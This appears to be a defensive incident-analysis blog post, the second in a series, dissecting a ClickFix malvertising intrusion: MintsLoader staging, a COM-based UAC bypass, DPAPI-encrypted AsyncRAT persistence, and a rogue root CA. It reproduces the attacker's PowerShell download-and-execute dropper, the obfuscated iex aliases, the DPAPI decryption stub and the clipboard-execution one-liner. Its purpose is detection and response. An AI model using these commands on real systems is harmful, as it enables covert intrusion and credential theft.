Deconstructing the ClickFix Infection Chain Part 2 – Loader Obfuscation and Stealth Persistence

This is Part 2 of a three-part series analyzing a sophisticated ClickFix malvertising campaign. In this series, we cover the initial social engineering (Part 1), the malware’s evasion tactics (Part 2), and the detection strategies needed to identify it (Part 3).

Loader Behavior: Consistent with MintsLoader

After initial execution, the attack chain quickly moved to staged retrieval with heavy obfuscation. The loader demonstrated several behaviors that align with public reporting on MintsLoader.

Stage 1 – Initial Dropper

• PowerShell downloaded “script.ps1” from a hardcoded IP address on a non-standard port
• Script was saved to %APPDATA%, executed, then immediately deleted
• Deletion occurs rapidly to eliminate the most obvious forensic artifact

powershell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile -WindowStyle Hidden -Command "
Invoke-WebRequest -Uri 'http://[First Staged IP]/2second' `
-OutFile ([IO.Path]::Combine([Environment]::GetFolderPath('ApplicationData'), 'script.ps1'));
& ([ & ([IO.Path]::Combine([Environment]::GetFolderPath('ApplicationData'), 'script.ps1'));
Remove-Item ([IO.Path]::Combine([Environment]::GetFolderPath('ApplicationData'), 'script.ps1'));

Stage 2 – Obfuscated Payload

The second stage used character-code-array obfuscation and a MintsLoader signature pattern.

$codes = 7723,7735,7735...
ForEach-Object { [char]$_ }

The arithmetic decoding technique reconstructs the payload download URL from numeric character codes, evading static string detection in scripts.

The load also employed alias obfuscation to disguise common download and execution primitives:
Set-Alias -Name mitresa -Value curl # Hides Invoke-WebRequest
Set-Alias zsketvm iex # Hides Invoke-Expression


The Stage 2 URL included a UUID parameter as a victim/campaign identifier:
http://[domain]/1.php?s=63e95be1-92e0-45c1-a928-65d63b17cd1c
This tracking identifier allows threat actors to:

• Track individual infections
• Deliver targeted payloads based on victim profiling
• Maintain campaign metrics
• Potentially hand off specific access to other operators

These behaviors: character array decoding, alias creation, staged retrieval with victim tracking, are consistent with documented MintsLoader, commonly associated with the delivery of commodity stealers and rats.

Privilege Escalation: UAC Bypass into SYSTEM Context

The threat actor didn’t settle for user-level persistence. Evidence showed a COM-based elevation technique leveraging Windows Task Scheduler COM interfaces.

The specific technique used the IElevatedFactoryServer interface (GUID: 804bd226-af47-4d71-b492-443a57610b08). This technique is well documented and disclosed by security researcher zcgonvh.

This bypass works by doing the following:

1. Using “Add-Type” to define a NativeMethods class with “CoGetObject” importing from ole32.dll.
2. Instantiating the IElevatedFactoryServer interface via COM
3. Using Task Scheduler COM interfaces to create a scheduled task running as SYSTEM
4. Employing the “BIND_OPTS3” structure for elevation

In this case, gaining SYSTEM-level privileges enabled the following malicious actions:

• DPAPI decryption at runtime (LocalMachine scope relies on SYSTEM elevation for access to machine keys)
• Certificate store manipulation (Installing root CAs, which requires elevated privileges)
• Firewall rule modification (To allow outbound internet traffic via PowerShell)
• Access to all locally available user data
• Persistence mechanisms that survive user logoff/logon

The image below is just a snippet of what the bypass looks like in Windows Event Logs. For full details, see the research article posted by zcgonvh. (https://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html)

Persistence + Stealth: DPAPI Encrypted Payload + Scheduled Task

DPAPI Encryption for Payload at Rest Protection

Instead of dropping an executable and running it directly, the attacker stored the RAT payload in a file disguised as a log file, then encrypted it with DPAPI using the LocalMachine scope.

The payload file:

• Filename: Block-SmbClientAccessToServer.log (mimicking Windows SMB security)
• Location: %LOCALAPPDATA%\Microsoft\Media Player\ (legitimate-looking Windows directory)
• Size: 304,518 bytes (encrypted AsyncRAT payload)

The decryption stub:

• Filename: AzureBlock-SmbClientAccessToServer.log (mimicking Azure tools)
• Size: 424 bytes

Add-Type -AssemblyName System.Security
set-alias zsketvm "iex"
$lypgaenksih=[System.IO.File]::ReadAllBytes('...\Block-SmbClientAccessToServer.log');
$oxdfnemyg = [System.Security.Cryptography.ProtectedData]::Unprotect(
$lypgaenksih,
$null,
[System.Security.Cryptography.DataProtectionScope]::LocalMachine
)
zsketvm ([System.Text.Encoding]::UTF8.GetString($oxdfnemyg))

DAPI decryption was performed via .NET’s ProtectedData.Unprotect API with DataProtectionScope.LocalMachine. Microsoft’s documentation confirms this pattern: unprotecting LocalMachine-scoped data requires the machine’s DPAPI master keys, which means:

• The payload is not readily decryptable offline on an analyst’s workstation
• It’s designed to decrypt only on the victim’s machine (or with equivalent DPAPI secrets exported)
• It makes sandboxing more difficult, as sandboxes will not have the proper DPAPI context
• Static analysis becomes more difficult because the actual payload is encrypted at rest

Mailbox Scheduled Task

The beacon mechanism was equally sophisticated. A scheduled task ran every three minutes (PT3M interval) under the SYSTEM context:

• Task Name: Block-SmbClientAccessToServer
• Execution: conhost –headless cmd /c [decryption stub]
• Context: SYSTEM (via the UAC bypass)
• Trigger: Time-based, every 3 minutes

The cadence of this scheduled task supports a mailbox-style C2 model:

1. Check in to the C2 server
2. Retrieve instructions (if any new commands are queued)
3. Execute commands
4. Repeat

This pattern provides the threat actor with:

• Near real-time interactive access (maximum 3-minute latency)
• Resilience to temporary network outages (task keeps trying)
• Reduced the need for persistent connections that might trigger network monitoring
• Ability to queue commands for later execution without maintaining a socket

Defense Evasion: Headless Conhost + Clipboard Execution

Headless Console Execution

The scheduled task executed via conhost with the –headless argument to avoid presenting a visible console window to the user:

conhost --headless cmd /c [command]
Multiple detection engineering teams have documented that conhost.exe –headless is unusual in legitimate enterprise workflows and represents a signal that threat hunters should pivot on. Most legitimate Windows processes that spawn command prompts do not use this flag.

Clipboard-Based Command Execution

Then the chain went a step further in evasion. After DPAPI decryption, the actual attacker commands were:

• Copied into the Windows clipboard
• Executed from the clipboard contents
• Clipboard cleared afterwards

The execution pattern:

powershell -ep bypass -c "$repvar=(Get-Clipboard);set-clipboard;$repvar|iex|iex"
Breaking this down:

• $repvar=(Get-Clipboard) – Retrieve command content from the clipboard
• Set-clipboard – Clear the clipboard (called with no argument
• $repvar|iex|iex – Execute the retrieved content

This technique degrades command-line auditing, PowerShell Script Block logging, EDR command-line inspection, SIEM correlation rules, and memory forensics. This is because, for all these sources outside memory forensics, the actual commands can become invisible. Only in certain PowerShell Script Block logging configurations are the specific commands still visible. Memory forensics is degraded because the clipboard is cleared after a command is retrieved.

This makes the only reliable detection points:

• Behavioral analysis of the clipboard access pattern
• Pre-execution network telemetry showing C2 communication
• DPAPI usage monitoring in unexpected contexts
• Scheduled task creation/modification auditing

Environment Manipulation: Firewall Rule Creation + Certificate Installation

Firewall Modification

A firewall rule was created to allow outbound PowerShell traffic. It is important to note that the name was called “SystemUpdate”, designed to appear legitimate during casual review of firewall rules.

netsh.exe firewall add allowedprogram C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe SystemUpdate ENABLE
Certificate Abuse

A self-signed root CA certificate was installed with the following characteristics:

Attribute	Value
Common Name (CN)	OV VeriSign CA
Certificate Type	Self-signed, CA: TRUE
Validity	November 2024 – February 2028
Serial Number	7e7a05d070d6ad09
Extended Key Usage	TLS Web Server Authentication
Basic Constraints	CA Certificate
File	WindowsUpdateCertificate.pfx (2,536 bytes)
Lock File	rootCert_lock.pfx (4 bytes)

 

The certificate was marked as CA: TRUE, meaning it could issue subordinate certificates. This installation allowed the attacker to:

• Establish trusted TLS connections to C2 infrastructure without triggering certificate warnings
• Potentially perform TLS interception on the endpoint
• Make malicious infrastructure appear as “normal to endpoint security tools that validate certificate chains

The fake “OV VeriSign CA” naming was clearly designed to blend in with legitimate VeriSign certificates that may be present in enterprise certificate stores.

Both behaviors, firewall modification and certification installation, are important detection points that SOC analysts and IR staff should alert on, mainly when they occur on user workstations outside of managed IT change windows.

Credential Theft: Built-in AsyncRAT Stealer Module

AsyncRAT includes a built-in infostealer module that executes shortly after initial installation. This was confirmed by file system events that occurred around the time of the original compromise, along with Sandbox analysis showing the “info sent” message after the payload ran.

Also, evidence showed System.Security assembly is being loaded at multiple timestamps throughout the compromise period. This pattern indicates the AsyncRAT stealer module was accessing DPAPI-protected browser credentials.

Secondary Payload: Additional Infostealer Staged

A second payload, which was unusually large at 21MB, was downloaded approximately 4 minutes after the primary AsyncRAT installation. It was originally base64-encoded, then AES-encrypted.

Attribute	Value
Filename	OV VeriSign CA
Size	21,083,072 bytes
Type	Unknown (CAPE Sandbox identified as JavaScript)
Location	%APPDATA%\Microsoft\
Sandbox Result	CAPE Sandbox identified as Radamanthys credential stealer
Execution	Not immediately executed

 

The large file size may be intentional to exceed Sandbox upload limits and AV scanning thresholds. This makes manual analysis more time-consuming. Also, by holding it in reserve, the attacker has a plan for possible later stages, resale of access, or handoff to other operations.

The suspected Rhadamanthys payload was accessed on the final day of compromise, suggesting an attempted execution, as the threat actor may have sensed that discovery was imminent or been preparing to hand off control to someone else.

Dual-payload approaches are also consistent with other public reports of MintsLoader campaigns, which deliver multiple second-stage options depending on environment profiling and threat actor objectives.

Anti-Forensics: Reducing Evidence of Initial Delivery

A notable anti-forensic behavior was observed during our investigation: browser cache artifacts from the initial compromise period were missing. Only browser cache artifacts were accessible from December 3^rd, 2025 onward, when the initial compromise happened on November 20^th, 2025. This strongly suggests that the threat actor tried to clean up their actions after the initial credential harvesting.

The AsyncRAT stealer module likely:

1. Harvested saved credentials and cookies
2. Cleared browser cache to destroy evidence of:
   1. Malicious ad content
   2. ClickFix pop-up HTML/JavaScript
   3. Cached ad network requests

This matters because typical malvertising + ClickFix delivery often leaves defenders with an uncomfortable forensic reality: the most crucial evidence, the lure, is ephemeral by design. When attackers additionally clear the cache, attribution of initial delivery becomes nearly impossible without network-level logging.

22 Days of Access

The threat actor maintained access for 22 days (November 20^th to December 11^th). Analysis of activity patterns reveals that most operations were manual, not automated:

Day 1 (November 20^th) – Initial Compromise

• ClickFix execution at 14:22 UTC
• Full attack chain deployment in 5 minutes
• AsyncRAT credential theft via built-in module
• Secondary payload downloaded but not executed
• Certificate installation was completed
• Firewall rule added

Days 3-10 (November 23^rd to November 28^th) – Reconnaissance

• Intermittent C2 polling observed
• Extended reconnaissance section on November 28^th (5+ hours of activity from 14:26 to 19:32 UTC)

Day 10 (November 30^th) – BitLocker Enumeration

This was interesting as only one prior instance of this was found in the user’s event logs. While we determined in this case that the BitLocker key enumeration was likely benign activity, it’s key to note that in other incidents it could indicate one of the following:

• Preparation for ransomware deployment (understanding full-disk encryption status)
• Routine credential harvesting (BitLocker keys do have value)
• Backup access planning

Days 11-19 (December 1^st – December 9^th) – Sustained Access

• Continued C2 polling every 3 minutes
• All commands hidden via clipboard manipulation
• Sustained presence without obvious escalation

Days 21-22 (December 11^th) – Final Activity

• Final C2 session at 19:05 UTC
• Last known activity at 23:44 UTC
• Secondary blob was accessed at this time, possibly attempted execution
• Shortly afterwards, EDR detected activity, and the host was contained

The decision to hold the second blob (suspected Rhadamanthys) for 20 days before the final day of access suggests the threat actor was:

• Maintaining access while evaluating the environment
• Preparing for handoff/sale of access to another threat actor
• Planning final credential harvesting with the heavier info-stealer
• Waiting for a specific trigger or opportunity

Mysterious Secondary Payload

From a defensive assessment standpoint, we know that the first payload, the AsyncRAT, was likely the main form of interactive access the threat actor utilized, supported by the scheduled task and confirmed via Suricata network signatures and mutex detection in the sandbox.

However, the second payload, given its massive size and heavy encryption, made manual analysis extremely difficult. CAPE sandbox flagged it as Rhadamanthys and a JavaScript file based on signatures, but this may be incorrect, as the AES encryption could have prevented CAPE from correctly recognizing the file header.  The entropy for this payload was 8, and its uniformity was 1.02, which is almost perfect and is indicative of AES encryption rather than something like XOR. The key for this payload couldn’t be found in any of the dropper scripts that were identified, so it’s likely a command needed to be sent via the C2 with the key to unlock this payload.

The Rhadamanthys observation is supported by AES encryption and by the fact that, after removing the padding, the final payload, which is 15 MB, shows a two-segment structure, in line with Rhadamanthys’ modularity. However, it could’ve just as easily been staging for ransomware or another stealer. Due to the lack of the key and the advanced encryption, we at Cyber Centaurs could not confirm the exact purpose or capabilities of this secondary payload. Start the hunt: Part 3: Hunting, Detection, and Remediation

 

References

1. Recorded Future Insikt Group, “Uncovering MintsLoader With Recorded Future Malware Intelligence Hunting,” April 2025. https://www.recordedfuture.com/research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting
2. eSentire, “MintsLoader: StealC and BOINC Delivery,” January 2025. https://www.esentire.com/blog/mintsloader-stealc-and-boinc-delivery
3. The Hacker News, “MintsLoader Drops GhostWeaver via Phishing, ClickFix — Uses DGA, TLS for Stealth Attacks,” May 2025. https://thehackernews.com/2025/05/mintsloader-drops-ghostweaver-via.html
4. zcgonvh, “Advanced Windows Task Scheduler Playbook – Part 2: From COM to UAC bypass and get SYSTEM directly. ” https://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass…
5. zcgonvh, TaskSchedulerMisc GitHub Repository. https://github.com/zcgonvh/TaskSchedulerMisc
6. hfiref0x, “UACME – Defeating Windows User Account Control,” GitHub. https://github.com/hfiref0x/UACME
7. Elastic Security Labs, “Exploring Windows UAC Bypasses: Techniques and Detection Strategies,” May 2023. https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies
8. Microsoft, “ProtectedData.Unprotect Method,” .NET Documentation.https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.protecteddata.unprotect
9. HawkEye, “Harvesting Browser Credentials: The DPAPI Exploitation Threat,” August 2025.https://hawk-eye.io/2025/08/harvesting-browser-credentials-the-dpapi-exploitation-threat/
10. SpecterOps, “Operational Guidance for Offensive User DPAPI Abuse.”https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107
11. Sygnia, “What is DPAPI: Unveiling the Decline of a Top Secret Weapon,” May 2024.https://www.sygnia.co/blog/the-downfall-of-dpapis-top-secret-weapon/